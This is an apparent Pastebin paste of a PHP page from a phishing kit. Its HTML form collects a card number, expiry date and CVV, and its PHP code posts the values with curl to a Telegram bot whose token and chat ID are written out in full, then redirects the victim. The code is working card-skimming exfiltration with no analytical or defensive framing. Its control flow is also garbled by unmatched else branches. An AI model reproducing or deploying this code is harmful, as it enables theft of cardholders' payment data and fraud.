Advertisement
redhat99

Untitled

Jun 5th, 2023 (edited)
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting();
  4. if (isset($_POST['submit'])) {
  5. $card = $_POST['card'];
  6. $exp = $_POST['exp'];
  7. $cvv = $_POST['cvv'];
  8.  
  9.  
  10. $message ="card :".$card."\nexp :".$exp."\ncvv :".$cvv."";
  11. $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
  12. $chatId="1300035109";
  13. $website="https://api.telegram.org/bot".$botToken;
  14. $params=[
  15. 'chat_id'=>$chatId,
  16. 'text'=>$message,
  17. ];
  18. $ch = curl_init($website . '/sendMessage');
  19. curl_setopt($ch, CURLOPT_HEADER, false);
  20. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  21. curl_setopt($ch, CURLOPT_POST, 1);
  22. curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  24. $result = curl_exec($ch);
  25. curl_close($ch);
  26. header('location: index.php?client=exit');
  27.  
  28. }else{
  29. header('location: index.php?client=login');
  30. }
  31. }else{
  32. header('location: index.php?client=login');
  33. }
  34. }else{
  35. header('location: index.php?client=login');
  36. }
  37.  
  38.  
  39.  
  40. ?>
  41. <!DOCTYPE html>
  42. <html>
  43. <head>
  44. <title></title>
  45. </head>
  46. <body>
  47. <form action="" method="POST">
  48. <input type="number" name="card"><br>
  49. <input type="number" name="exp"><br>
  50. <input type="number" name="cvv"><br>
  51.  
  52. <input type="submit" name="submit"><br>
  53. </form>
  54. </body>
  55. </html>
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement